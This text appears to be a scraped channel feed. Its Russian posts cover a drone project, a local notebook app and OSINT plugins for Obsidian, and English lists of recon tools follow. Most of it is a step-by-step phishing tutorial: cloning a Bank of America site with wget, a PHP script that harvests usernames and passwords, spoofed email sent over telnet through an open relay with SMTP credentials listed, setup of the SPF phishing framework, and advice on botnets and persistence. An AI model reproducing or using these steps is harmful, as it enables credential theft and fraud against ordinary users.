Flix — хардкорный open-source проект, созданный специально для обучения и исследований в области управления полетом. Удалось сделать дрон максимально доступным и до предела упростить сложную архитектуру полетного контроллера.

https://github.com/okalachev/flix

📱 Telegram | 🌐 ВК | 📲 MAX
📲 RUTUBE | 🌍 VK Видео

Open Notebook — частная, многофункциональная, полностью локальная альтернатива Notebook LM, поддерживающая различные модели ноутбуков.

https://github.com/lfnovo/open-notebook
www.open-notebook.ai

📱 Telegram | 🌐 ВК | 📲 MAX
📲 RUTUBE | 🌍 VK Видео

Obsidian — это бесплатное приложение для заметок. Но для тех, кто занимается анализом информации, OSINT и форензикой, он давно вырос из рамок «программы для заметок» и превратился в полноценный «второй мозг». При правильной доработке — в мощный инструмент для сбора, анализа и визуализации данных.

@forensictools собрал 10 расширений, каждое из которых закрывает свою задачу: от сбора данных до защищённого хранения и экспорта. Сохраняй, чтобы не потерять.

Dataview — превращает хранилище заметок в базу данных: структурированные поля и SQL-подобные запросы. Скачать: http://github.com/blacksmithgu/obsidian-dataview
Map View — наносит геоданные из заметок на интерактивную карту (координаты, треки, адреса). Скачать: http://github.com/esm7/obsidian-map-view
Cloud KMS Encryption — шифрует отдельные блоки текста и файлы через AWS KMS (Zero Trust Storage). Скачать: http://github.com/ViktorUJ/obsidian-cloud-kms
Obsidian Web Clipper — сохраняет веб-страницы, посты и видео в хранилище в один клик. Скачать: https://obsidian.md/clipper
Power Extract — распознаёт текст на изображениях (OCR) локально через Windows. Скачать: https://github.com/obsidian-power-plugins/power-extract
Sherlockeye OSINT — интегрирует OSINT-поиск по email, телефонам, доменам и username прямо в Obsidian. Скачать: https://community.obsidian.md/plugins/sherlockeye-osint
Obsidian SNA — социальный сетевой анализ: вычисляет центральность узлов, выявляет хабы и мосты. Скачать: https://github.com/fiddlestix27/Obsidian-SNA
Image Metadata Viewer — показывает EXIF/XMP/IPTC метаданные изображений (GPS, камера, промпты AI). Скачать: https://github.com/tanaga9/obsidian-image-metadata-viewer-plugin
Knowledge Graph Analysis — графовый анализ + AI (Gemini) для семантического поиска связей и разрывов. Скачать: https://github.com/luolanaaTUD/obsidian-graph-analysis
Chronos Timeline — строит интерактивные временные шкалы из Markdown и генерирует хронологию по папке. Скачать: https://github.com/clairefro/obsidian-plugin-chronos

📱 Telegram | 🌐 ВК | 📲 MAX
📲 RUTUBE | 🌍 VK Видео

🌐 𝐍𝐄𝐓𝐖𝐎𝐑𝐊 𝐒𝐂𝐀𝐍𝐍𝐈𝐍𝐆 🔎

1️⃣ Discover And Inventory All Of Your Publicly Facing Web Applications
2️⃣ Automated Scans
3️⃣ MANUAL VERIFICATION
4️⃣ MANUAL Test
5️⃣ Support Multi-language
6️⃣ Add Notifications
7️⃣ Support asset discover
8️⃣ OSINT related to organization
9️⃣ JS static analysis
1️⃣0️⃣ Data breach & darknet
1️⃣1️⃣ Passive information
1️⃣2️⃣ Public asset scan
1️⃣3️⃣ Waf testing
1️⃣4️⃣ Mention our product in finding like waf , 2fa , infoshield ..etc
1️⃣5️⃣ Web Vulnerability Scanning
1️⃣6️⃣ Operating System Vulnerability Scanning
1️⃣7️⃣ Asset content compliance detection
1️⃣8️⃣ Configuration baseline scanning
1️⃣9️⃣ Weak password detection
2️⃣0️⃣ Discovers the security risks of websites or servers exposed on the network & Covers multiple types of asset scanning

Covers multiple types of asset scanning, supports intra- and extra-network scanning and host scanning, supports intranet scanning, intelligently links the assets, automatically discovers asset fingerprint information, and avoids scanning blind spots.

1️⃣ Web vulnerability scanning
2️⃣ Host vulnerability scanning
3️⃣ Weak password scanning
4️⃣ Middleware scanning
5️⃣ Content compliance detection

Domain Info Gathering

1️⃣ WHOIS query
2️⃣ DNS query
3️⃣ NsLookup query
4️⃣ Domain name deletion time record query
5️⃣ Archive record batch

Encode & Decode

Encoder is a utility to help you encode and decode data in various formats, build hashes of common hashing functions and do general text transformations.

Intelligence Gathering

Recon can swiftly gather intelligence on a wide range of targets, sourced from public databases to explore the relationship between large and complicated datasets.

Web Resource Discovery UNFold supports both resource enumeration through dictionaries but also active spidering during the vulnerability discovery process.
https://secapps.com/suite/

Some Tools:

NodeJsScan - A Static Security Code Scanner For Node.js Applications
https://github.com/ajinabraham/NodeJsScan

Jok3R - Network And Web Pentest Framework
https://github.com/koutto/jok3r

WiFi Brute Force Attack
https://github.com/TideSec/WDScanner
https://github.com/Tlgyt/WiBr
https://github.com/galkan/crowbar

Raptor Web-based Source Code Vulnerability Scanner
https://github.com/Vulnerability-scanner/raptor

Prowler – Distributed Network Vulnerability Scanner
https://github.com/tlkh/prowler

Fuxi Scanner - Network Security Vulnerability Scanner
https://github.com/ym2011/PEST/tree/master/Fuxi-Scanner

29 Docker Security Tools
https://sysdig.com/blog/20-docker-security-tools/

R3Con1Z3R - Web Information Gathering Tool
https://github.com/abdulgaphy/r3con1z3r

TIDoS - Framework - Offensive Manual Web Applicatoin Pentesting Framework
https://github.com/0xInfection/TIDoS-Framework

Th3inspector - Information Gathering
https://github.com/Moham3dRiahi/Th3inspector

EagleEye - Stalk Your Friends
https://github.com/ThoughtfulDev/EagleEye

BlackEye - Phishing Tool
https://github.com/thelinuxchoice/blackeye

Webkiller - Information Gathering Tool
https://github.com/ultrasecurity/webkiller

BruteSpray - NMap Brute Force Script
https://github.com/x90skysn3k/brutespray

DirSearch - Web Path Scanner
https://github.com/maurosoria/dirsearch

Masscan - TCP Port Scanner
https://github.com/robertdavidgraham/masscan

Mercury - Collect Information
https://github.com/MetaChar/Mercury

DevPloit - Information Gathering
https://github.com/vaginessa/Devploit

TinfoLeak - Twitter Intelligence Analysis
https://github.com/vaguileradiaz/tinfoleak

Photon - Fast Crawler For OSINT
https://github.com/s0md3v/Photon

Raccoon - Offensive Security Tool For Reconnaissance And Informatoin Gathering
https://github.com/evyatarmeged/Raccoon

SpiderFoot - OSINT Collection Automated
https://github.com/smicallef/spiderfoot

pwnedOrNot - OSINT Tools For Finding Password Of E-Mails
https://github.com/thewhiteh4t/pwnedOrNot

𝗣𝗛𝗜𝗦𝗛𝗜𝗡𝗚

Phishing is the attempt to acquire sensitive information by disguising itself as a known and trusted entity in the world of electronic communication.

Types Of Sensitive Information

▶️Login Credentials (Email / User / Pass)
▶️Credit Cards
▶️Identity (Driving License Documents)
▶️Health Information
▶️Accounts like: Steam, Bitcoin Wallet etc.

3 Types Of Usual Attacks

🔵Phishing - usually with a specific goal and to receive money
🔵Spear phishing - specific goals or groups
🔵Whaling - specific on a single person


Phishing Process

1️⃣ Reconnaissance (e.g. E-Mail, Position in the Company, Systems, Log-in Page etc.)

▶️Information Gathering
▶️Large companies potentially buy email on black market
▶️Start testing to correct future attacks
▶️Active and passive information gathering for vulnerabilities

Survey Tools:
▶️Metagoofil (https://tools.kali.org/information-gathering/metagoofil)
▶️Maltengo Radium (https://www.maltego.com/downloads/)
▶️Net Glub (http://redmine.lab.diateam.net/attachments/download/1/netglub-1.0.tar.gz)
▶️Recon-ng (https://github.com/lanmaster53/recon-ng)
▶️TheHavarester (https://github.com/laramies/theHarvester)

2️⃣ Setup and deploy (organization of systems useful to our goal)

▶️Domain Registration (https://www.godaddy.com)
▶️Mass Mailer
▶️Open Relays For The Domain Target
▶️Web Server Setup
▶️Website Cloning
▶️Web Application Development
▶️Malicious Attachments / Malware Payloads
▶️Browser Exploits

Read Also : What is Open Relay (https://www.techopedia.com/definition/1699/open-relay)

Test verything before sending you will not have a second chance (send first to own mail, use protonmail, gmail with anti spam detection).

3️⃣ Collect responses / organize them

Test your credentials:

Make other phish attacks from trusted account, connect them to a botnet / shells and persist increase your privileges.

4️⃣ Draw up a report do it for exercise and to keep everything tidy

Let's get to work. We identify our goal and fully carry out point one

Clone the website for hosting:

wget -r https://URL

URL = Your URL

Start fixing the cloned site:

sudo cp -r -v bankofamerica.com/index /var/www/html
sudo nano /var/www/html/index.html

This attack to be functional we need to register user and pass of the various users, we can write a short php script to collect all the variables (like user / pass)

<?php
$user = &_POST['_user'];
$pass = &_POST['_pass'];

$f = fopen("collect.txt", "a");
fwrite($ f, "$user: $pass \ n");
fclose();

header("Location: https://localhost/index.html");
die();
?>

We register username and password:

$ user = & _POST ['_ user'];
$ pass = & _POST ['_ pass'];

We save them in collect.txt

$ f = fopen ("collect.txt", "a");
fwrite ($ f, "$ user: $ pass \ n");
fclose ();

We refer them to the original site

header ("Location: https://localhost/index.html");
die ();

Edit the localhost with your server name (Phishing Website)

service apache2 start

Type on firefox localhost/index.html and you can see your website. I will talk soon about setting up a phishing page with own login and making a amazon phishing site or so on.

So as we set up the script the copy of the website the script would not work, so we have to go to the cloanate site and change the form.

<form> original

<form name="form" action="index.html" method="post">

working <form>

<form name="form" action="form.php" method="post">

So once we have created the site and found a way to collect the data we have to set up a server and finally test our attacks.

So here we have the right set of permissions for our web page

sudo chown www-data /var/www/ -R
service apache2 restart

Now testing the page we created we go to check:

cat /var/www/html/collect.txt

for example: lol / user iMbid / pass

Once tested that this works we go back to the reconnaissance phase

Mail server

We must understand how to send phishing e-mail.

During a vulnerability scan we will find that the mail server to an open relay that will allow us to impersonate a specific user.

So using telnet we will build the email for our goal.

In which we will impersonate a known and privileged user, who asks another known and privileged user to test the new performances of a specific private section

We are using SMTPs for this section ex:

webmail.gamewood.net:587,gin4fred@gamewood.net,srcosth

SMTP Server : webmail.gamewood.net
Port : 587
Mail : gin4fred@gamewood.net
Password : scrcosth

telnet webmail.gamewood.net 587
EHLO webmail.gamewood.net
MAIL FROM: no-reply@amazonl.com
RCPT TO: john-smith@gmail.com
DATA
SUBJECT: Webmail Site Update

We are currently testing a new performance configuration for the webmail site, please test the site change by visiting: https://rec.amazon.com/index.html (our crafted url)

Thanks
.
quit

Attack tools - Make the job easier

▶️SET ( https://github.com/trustedsec/social-engineer-toolkit )
▶️Phishing Frenzy ( https://github.com/pentestgeek/phishing-frenzy )
▶️beEF ( https://github.com/beefproject/beef )

SET the best, completed tool of social engineering attacks

beEF is normally used as part of the attack to learn more information

Phishing Frenzy is like SET and very nice

--------------------

Speedphish Framework - SPF

✦ Passes for all initial work points
✦ Automatic tasks useful to perform a phishing attack
✦ Written in python
✦ Complete or partial automation
✦ Can be configured with external tools if available

Features:
➣ Collects email addresses from internet
➣ Setup & host website
➣ Send phishing e-mail to our target
➣ Keylogger
➣ Create reports

Installation:

sudo apt-get install git build-essential python-dev python-pip phantomjs -y
sudo apt install python3-twisted
sudo apt install python3-dnspython
git clone https://github.com/tatanus/SPF
cd SPF
/spf
$ ./spf.py -h

Important give a delay to:

--test
--all

The suggestion is to run --test first and check all the work and that it is perfect

Let's take a look at the config:

We can set up the server that sends email
If we try to run

./spf.py --test -d example.com

Will tell us that it is using the settings in the default.cfg (we can also have multiple.cfg files)

Is trying to find emails linked to the website
at the end of the process he will tell us that for example 41 emails have been found linked to our target.

Then tool will start phishing on the webserver looking for template we will edit the templates
you will find us e-mail template then it will start sending emails

Finally, it will monitor the phishing website activity we will see all the activities on our templates and pressing ctrlc will stop the webserver generating the report.

Of course if we have not collected anything it is not convenient to interrupt the webserver.

📄 𝗧𝗼𝗼𝗹𝘀 𝗣𝗮𝗰𝗸 📦

Over 100 Scripts about

👉 C & C++
👉 PHP Shells
👉 Perl
👉 Python